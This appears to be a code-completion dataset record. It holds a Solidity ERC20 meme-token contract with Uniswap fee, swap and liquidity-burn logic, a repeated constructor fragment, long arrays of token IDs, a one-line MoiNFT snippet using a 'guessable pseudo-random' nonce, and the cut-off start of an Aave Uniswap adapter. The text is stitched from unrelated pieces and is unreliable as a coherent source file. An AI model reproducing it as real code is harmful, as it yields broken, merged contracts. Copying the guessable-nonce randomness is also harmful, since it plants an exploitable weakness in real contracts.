address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract JEWEL is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("The Diamond Casino Heist", unicode"CASINO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; maxWallet = 1_000_000_000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xEB1030fD2D6b15756B3F15aF9BaBcDf5e6B0eC54); // set as marketing wallet devWallet = address(0xEB1030fD2D6b15756B3F15aF9BaBcDf5e6B0eC54); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function StartTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000 ) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 10, "Must keep fees at 10% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 10, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
*****************/ exclude from paying fees or having max transaction amount
constructor() ERC20("The Diamond Casino Heist", unicode"CASINO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 5; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; maxWallet = 1_000_000_000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
1,971,792
[ 1, 19, 4433, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 1986, 12508, 301, 1434, 23561, 15020, 8264, 376, 3113, 5252, 6, 20221, 706, 51, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2 ]
./full_match/3/0x8C2307E4E8FdcbD736DF934c50e19d9a0149F7A0/sources/MoiNFT.sol
Number used for guessable pseudo-random generated number.
uint private nonce = 0;
14,252,775
[ 1, 1854, 1399, 364, 7274, 429, 12454, 17, 9188, 4374, 1300, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 3238, 7448, 273, 374, 31, 2868, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {PercentageMath} from '../protocol/libraries/math/PercentageMath.sol'; import {SafeMath} from '../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IERC20WithPermit} from '../interfaces/IERC20WithPermit.sol'; import {FlashLoanReceiverBase} from '../flashloan/base/FlashLoanReceiverBase.sol'; import {IBaseUniswapAdapter} from './interfaces/IBaseUniswapAdapter.sol'; /** * @title BaseUniswapAdapter * @notice Implements the logic for performing assets swaps in Uniswap V2 * @author Aave **/ abstract contract BaseUniswapAdapter is FlashLoanReceiverBase, IBaseUniswapAdapter, Ownable { using SafeMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; // Max slippage percent allowed uint256 public constant override MAX_SLIPPAGE_PERCENT = 3000; // 30% // FLash Loan fee set in lending pool uint256 public constant override FLASHLOAN_PREMIUM_TOTAL = 